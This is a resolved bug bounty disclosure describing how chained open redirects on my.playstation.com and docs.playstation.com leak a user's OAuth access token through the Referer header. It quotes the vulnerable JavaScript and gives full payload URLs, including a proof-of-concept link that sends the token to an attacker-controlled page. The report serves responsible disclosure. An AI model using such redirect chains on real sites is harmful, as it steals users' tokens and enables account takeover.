Access Token Smuggling from my.playstation.com via Referer Header
Team Summary
Official summary from PlayStation
I discovered a way to smuggle an access token from my.playstation.com via Referer header through chain of open redirection vulnerability. On my investigation of authentication flow I found this endpoint with potential site for open redirect vulnerability https://my.playstation.com/auth/response.html Let's look at some part of the code on this endpoint. ``` function sendResponseToApp(a) { var b = extractFrameTypeFromRequestID(a.requestID), c = a.targetOrigin || getOrigin(), d = a.baseUrl || "", e = a.returnRoute || "", f = a.excludeQueryParams, g = !f && window.location.search || ""; switch (b) { case "iframe": window.parent.postMessage(a, c); break; case "window": window.opener.postMessage(a, c); break; case "external": default: var h = constructUrl(c, d, e) + g; /^(https:\/\/)([a-z0-9\-]+\.)+(playstation\.com)(:([0-9]){4})?\//.test(h) ? window.location.href = h : window.location.href = "https://playstation.com/error" } } ``` This is a switch statement checking on variable named requestID The interesting part for this report is the last condition where requestID is equal to "external". This condition basically says that if requestID is equal to "external" then construct URL from query parameters and redirect to that URL. There is also a regex filter to protect against Open Redirect. The target for redirection can only be a subdomain of playstation.com. The only way this is vulnerable to open redirect is that there is a sub-domain that is vulnerable to open redirect as well. I spend sometimes hutning on that and I discovered an endpoint on docs.playstation.com that is vulnerable to open redirect. Here is the endpoint I mentoined. `https://docs.playstation.com/consumers/auth/psn_oauth2?callback_url=https://www.google.co.th` Following this endpoint a user will be redirected to authentication portal first, if already logged in, redirected back to `https://docs.playstation.com/consumers/auth/psn_oauth2/callback?code=${code}&state=${state}&cid=${cid}` The above endpoint will consume the authorization code and then give back jwt access token (valid on docs.playstation.com only) and redirect user to *callback_url* with jwt token in query parameter. At first, I thought that this is an open redirect on out-scope domain, even if I can chain it with in-scope (which is the first endpoint I mentioned) it is not much a security threat. However, after code review and testing, I discovered a way to smuggle an access token from my.playstation.com via Referer header and send it to attacker site using this chain of redirection. **Here is how**. Initially, I observed that when I chain said open redirect from my.playstation.com to docs.playstation.com then to attacker site, the Referer header contains the URL of my.playstation.com endpoint with some query parameters Try this yourself (you need to login on playstation network first, maybe on my.playstation.com) `https://my.playstation.com/auth/response.html?requestID=external_request_3b961caf-d776-48bd-953e-fca6a0526d91&baseUrl=/&targetOrigin=https://docs.playstation.com&returnRoute=/consumers/auth/psn_oauth2?callback_url=https://www.google.co.th` ``` Request Headers to google :authority: www.google.co.th :method: GET :path: /?requestID=external_request_3b961caf-d776-48bd-953e-fca6a0526d91&consumer_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwcm92aWRlciI6InBzbl----redacted----zg0NjkxMzU2NjAwMjkwNDMwIiwiZXhwIjoxNTg2MjcwNjQ5fQ.8XXCliCQwBwussk9uNsA1Kiiqgn0vsyP-KUCGpQNMaw :scheme: https accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 accept-encoding: gzip, deflate, br accept-language: th,en-US;q=0.9,en;q=0.8 referer: https://my.playstation.com/auth/response.html?requestID=external_request_3b961caf-d776-48bd-953e-fca6a0526d91&baseUrl=/&targetOrigin=https://docs.playstation.com&returnRoute=/consumers/auth/psn_oauth2?callback_url=https://www.google.co.th sec-fetch-dest: document sec-fetch-mode: navigate sec-fetch-site: cross-site upgrade-insecure-requests: 1 user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36 ``` Now let's go back to the purpose of this endpoint. (/auth/response.html) It is used to receive access token from auth.api.sonyentertainmentnetwork.com after user login Authentication flow is like this. 1.) Click sign-in button from my.playstation.com 2.) Redirect to auth.api.sonyentertainmentnetwork.com with redirect_uri set to my.playstation.com/auth/response.html 3.) After login, (or if already logged in), redirect to redirect_uri with access_token in attached in hash fragment of the URL 4.) Redirect back to my.playstation.com 5.) iframe points to endpoint in 2.) is created, access_token is sent back to the page via postMessage function. **redirect_uri** is only being validated for its origin, so what comes after that is user-controllable. Therefore, I could use this URL `https://my.playstation.com/auth/response.html?requestID=external_request_3b961caf-d776-48bd-953e-fca6a0526d91&baseUrl=/&targetOrigin=https://docs.playstation.com&returnRoute=/consumers/auth/psn_oauth2?callback_url=https://www.google.co.th` as the payload, if a user is already logged in, he/she will go through chain of redirection and finally get to google. Try it: [https://auth.api.sonyentertainmentnetwork.com/2.0/oauth/authorize...callback_url=https://www.google.co.th](https://auth.api.sonyentertainmentnetwork.com/2.0/oauth/authorize?response_type=token&scope=capone%3Areport_submission%2Ckamaji%3Agame_list%2Ckamaji%3Aget_account_hash%2Cuser%3Aaccount.get%2Cuser%3Aaccount.profile.get%2Ckamaji%3Asocial_get_graph%2Ckamaji%3Augc%3Adistributor%2Cuser%3Aaccount.identityMapper%2Ckamaji%3Amusic_views%2Ckamaji%3Aactivity_feed_get_feed_privacy%2Ckamaji%3Aactivity_feed_get_news_feed%2Ckamaji%3Aactivity_feed_submit_feed_story%2Ckamaji%3Aactivity_feed_internal_feed_submit_story%2Ckamaji%3Aaccount_link_token_web%2Ckamaji%3Augc%3Adistributor_web%2Ckamaji%3Aurl_preview&client_id=656ace0b-d627-47e6-915c-13b259cd06b2&redirect_uri=https%3A%2F%2Fmy.playstation.com%2Fauth%2Fresponse.html%3FrequestID%3Dexternal_request_3b961caf-d776-48bd-953e-fca6a0526d91%26baseUrl%3D%2F%26targetOrigin%3Dhttps%3A%2F%2Fdocs.playstation.com%26returnRoute%3D%2Fconsumers%2Fauth%2Fpsn_oauth2%3Fcallback_url%3Dhttps%3A%2F%2Fwww.google.co.th) The problem is that access token is stored in hash fragment which does not reflect on Referer header. To smuggle this access token I would need to find a way to make access token in query parameters instead of hash fragment. I noticed that I could also put hash fragment in **redirect_uri** and the hash fragment on /auth/response.html would be ``` #foo=bar&access_token=...&token_type=... ``` Let's look at the code responsible for extracting parameters from query string and hash fragment of the URL on this endpoint ``` function parseResponse(a) { var b = a.hash.substr(1), c = a.search.substr(1), d = b + "&" + c, e = convertToObject(d); return e.refererURL = a.toString(), e } function convertToObject(a, b, c) { b = b || "&", c = c || "="; var d = a.indexOf("?"); if (-1 !== d) { var e = a.substr(d); a = a.substr(0, d) + encodeURIComponent(e) } var f = {}, g = {}; return a.split(b).forEach(function (a) { if (a = a.split(c), 2 === a.length) { var b = decodeURIComponent(a[0]), d = decodeURIComponent(a[1]); "state" === b ? g = convertToObject(d, "_._", "~~~") : f[b] = d } }), union(f, g) } function union(a, b) { var c, d = {}; for (c in a) d[c] = a[c]; for (c in b) d[c] = b[c]; return d } var response = parseResponse(window.location); ``` It puts hash fragment and query string together with `&` in-between then send it to convertToObject function to put all of variables and their values in key-value pair object. The delimiters are **=** and **&** to split between key and value and key and key respectively. There is also a special condition in which the key name is **state**, it will go make key-value pair object from state's value using **_._** and **~~~** as delimiter. Now let's go back to the first code I provided `function sendResponseToApp` and consider how target URL is constructed. ``` var b = extractFrameTypeFromRequestID(a.requestID), c = a.targetOrigin || getOrigin(), d = a.baseUrl || "", e = a.returnRoute || "", f = a.excludeQueryParams, g = !f && window.location.search || ""; /// Some are removed to make it easier to read /// var h = constructUrl(c, d, e) + g; ``` Basically, constructUrl is just concatenate value from c,d, e, and g together. The point is what is c, d, e, and g. It is quite straightforward that c = targetOrigin, d = baseUrl, e = returnRoute and g = query strings So, primarily constructURL consists of targetOrgin + baseUrl + returnRoute + query strings Now that we have reviewed the code necessary, let's get to how the exploit work. Again, the core idea is that I need to make access token in query strings instead of hash fragment so that it get reflected in Referer header. Basic idea of how to do that, 1.) Somehow put access token in returnRoute so that it is included in query string of target URL for redirection 2.) Redirect to my.playstation.com/auth/response.html with access token in query string 3.) Redirect again to docs.playstation.com then to attacker site. 4.) Now Referer header contains access token. Let's go in detail In convertToObject function ``` var d = a.indexOf("?"); if (-1 !== d) { var e = a.substr(d); a = a.substr(0, d) + encodeURIComponent(e) } ``` if there is **?** in string *d*, it will encode what comes after **?** before processing string *d* to make key-value pair object. an example of value in string *d* would be ``` access_token=...&token_type=bearer&...key-value from query string ``` So, if **redirect_uri** ends with `#returnRoute=/auth/response.html?`, the value in string *d* would be ``` returnRoute=/auth/response.html?&access_token=...&token_type=bearer ``` and because there is **?**, what comes after that is encoded so string *d* will be changed to ``` returnRoute=/auth/response.html?%26access_token%3D...%26token_type%3Dbearer ``` From code review above, this function uses **=** and **&** as delimiter, the access token will be included in returnRoute as query string. To redirect to my.playstation.com just put `targetOrigin=https://my.playstation.com` before returnRoute ``` #targetOrigin=https://my.playstation.com&returnRoute=/auth/response.html?... ``` and also add `excludeQueryParams=true` to not include query string again. Final step, to redirect to docs.playstaion.com In parseResponse function, to make string *d*, it concatenates hash fragment and query string together with **&** in-between and it put query string behind hash fragment. So, if **redirect_uri** ends with the latest payload, all of query parameters would be put in returnRoute as well since **=** and **&** are all encoded and are all included in target URL. To redirect to docs.playstation.com and to attacker site just put `baseUrl=/&targetOrgin=https://docs.playstation.com&returnRoute=/consumers/auth/psn_oauth2?callback_url=https://www.attacker.com` as query string of **redirect_uri** Here is the final payload ``` https://my.playstation.com/auth/response.html?requestID=external_request_3b961caf-d776-48bd-953e-fca6a0526d91&baseUrl=/&targetOrigin=https://docs.playstation.com&returnRoute=/consumers/auth/psn_oauth2?callback_url=https://www.attacker.com#targetOrigin=https://my.playstation.com&excludeQueryParams=true&returnRoute=/auth/response.html? ``` **Proof-of-Concept Link** https://auth.api.sonyentertainmentnetwork.com/2.0/oauth/authorize?response_type=token&scope=capone%3Areport_submission%2Ckamaji%3Agame_list%2Ckamaji%3Aget_account_hash%2Cuser%3Aaccount.get%2Cuser%3Aaccount.profile.get%2Ckamaji%3Asocial_get_graph%2Ckamaji%3Augc%3Adistributor%2Cuser%3Aaccount.identityMapper%2Ckamaji%3Amusic_views%2Ckamaji%3Aactivity_feed_get_feed_privacy%2Ckamaji%3Aactivity_feed_get_news_feed%2Ckamaji%3Aactivity_feed_submit_feed_story%2Ckamaji%3Aactivity_feed_internal_feed_submit_story%2Ckamaji%3Aaccount_link_token_web%2Ckamaji%3Augc%3Adistributor_web%2Ckamaji%3Aurl_preview&client_id=656ace0b-d627-47e6-915c-13b259cd06b2&redirect_uri=https%3A%2F%2Fmy.playstation.com%2Fauth%2Fresponse.html%3FrequestID%3Dexternal_request_3b961caf-d776-48bd-953e-fca6a0526d91%26baseUrl%3D%2F%26targetOrigin%3Dhttps%3A%2F%2Fdocs.playstation.com%26returnRoute%3D%2Fconsumers%2Fauth%2Fpsn_oauth2%3Fcallback_url%3Dhttps%3A%2F%2Fnnez-poc.000webhostapp.com%2Fc2ba5d6f36bf7572ab73644b97fee017.html%23targetOrigin%3Dhttps%3A%2F%2Fmy.playstation.com%26excludeQueryParams%3Dtrue%26returnRoute%3D%2Fauth%2Fresponse.html%3F In PoC link, I redirect you to my website, it will automically extract access token from referer header. ## Impact An attacker is allowed to access victim's resources on my.playstation.com granted by stolen access token.
Report Details
Additional information and metadata
State
Closed
Substate
Resolved
Bounty
$1000.00
Submitted
Weakness
Violation of Secure Design Principles